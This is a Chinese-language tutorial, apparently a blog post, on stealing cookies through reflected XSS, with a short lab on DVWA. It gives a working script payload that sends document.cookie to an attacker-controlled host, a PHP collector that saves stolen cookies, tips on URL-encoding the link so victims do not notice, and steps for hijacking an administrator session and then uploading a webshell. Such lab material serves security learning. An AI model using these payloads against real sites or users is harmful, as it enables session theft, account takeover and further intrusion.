一、概述
反射型XSS盗用cookie
二、Cookie介绍
Cookie 是在 HTTP 协议下,服务器或脚本可以维护客户工作站上信息的一种方式。Cookie 是由 Web 服务器保存在用户浏览器(客户端)上的小文本文件,它可以包含有关用户的信息。
目前有些 Cookie 是临时的,有些则是持续的。临时的 Cookie 只在浏览器上保存一段规定的时间,一旦超过规定的时间,该 Cookie 就会被系统清除
服务器可以利用Cookies包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传输中的状态。
Cookies最典型的应用是判定注册用户是否已经登录网站,用户可能会得到提示,是否在下一次进入此网站时保留用户信息以便简化登录手续,这些都是Cookies的功用。
另一个重要应用场合是“购物车”之类处理。用户可能会在一段时间内在同一家网站的不同页面中选择不同的商品,这些信息都会写入Cookies,以便在最后付款时提取信息。
三、反射型XSS-盗取cookie
存在反射型XSS漏洞的站点位置 可以利用以下链接来盗取Cookie
url?uname=<script>document.location="http://ip/cookie.php?cookie="+document.cookie;</script>
其中使用document.location重定向到我们的cookie接受url,将当前用户的cookie作为参数,发送给我们
将链接发送到用户,用户点击即触发XSS漏洞。同时可以使用URL编码迷惑用户。
cookie.php代码:
<?php
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
//file_put_contents — 将一个字符串写入文件
?>
在本地测试一下:
四、实验
4.1 cookie盗取
基于DVWA-XSS反射型进行测试:
之前写过,直接可以使用<script>alert(document.cookie)</script>
将cookie显示出来:
将payload改为:
<script>document.location="http://127.0.0.1/cookie.php?cookie="%2bdocument.cookie;</script>
+
要使用url编码,也就是%2b
成功得到cookie!
当然,这个url的内容看起来过于明显,我们可以将name的参数进行url编码,依然可以达到盗取cookie的目的,使用户不容易发现恶意url!
4.2 cookie会话劫持
假定我们使用的身份为gordonb,想要得到管理员权限,就可以利用我们刚才得到的cookie进行登录。
将这里的cookie替换为我们得到的cookie即可!刷新再登陆就变为管理员权限了:
4.3劫持会话后的操作
1、进入后台寻找上传点等进一步利用漏洞上传一句话Webshell。
2、修改配置等。
参考链接:
https://blog.csdn.net/qq_40929683/article/details/119892467
https://blog.csdn.net/qq_45884195/article/details/107136606